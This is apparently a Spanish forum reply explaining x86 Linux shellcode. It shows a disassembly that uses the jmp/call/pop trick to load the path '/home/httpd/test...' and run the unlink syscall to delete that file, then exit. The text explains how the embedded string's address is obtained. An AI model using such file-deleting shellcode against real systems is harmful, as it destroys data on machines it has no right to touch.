¡
s.o: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
0: eb 11 jmp 13 <__archivo>
00000002 <_salto>:
2: b8 0a 00 00 00 mov $0xa,%eax
7: 5b pop %ebx
8: cd 80 int $0x80
a: 89 c3 mov %eax,%ebx
c: b8 01 00 00 00 mov $0x1,%eax
11: cd 80 int $0x80
00000013 <__archivo>:
13: e8 ea ff ff ff call 2 <_salto>
18: 2f das
19: 68 6f 6d 65 2f push $0x2f656d6f
1e: 68 74 74 70 64 push $0x64707474
23: 2f das
24: 74 65 je 8b <__archivo+0x78>
26: 73 74 jae 9c <__archivo+0x89>
...
Lo que hay debajo del call es la cadena, cuando haces el call hace un push del offset a continuación del call, lo que significa que tienes un offset que apunta al principio de la cadena, los offset no son validos, ya que se toma como cadena, no se ejecutan.
Luego el pop del ebx, carga el offset del call, puedes hacerlo con los push y luego copiar el offset que seria lo mismo, que es lo que haces.
Si copia todo los obcode, nada mas, igual que lo tuya.
Saludos[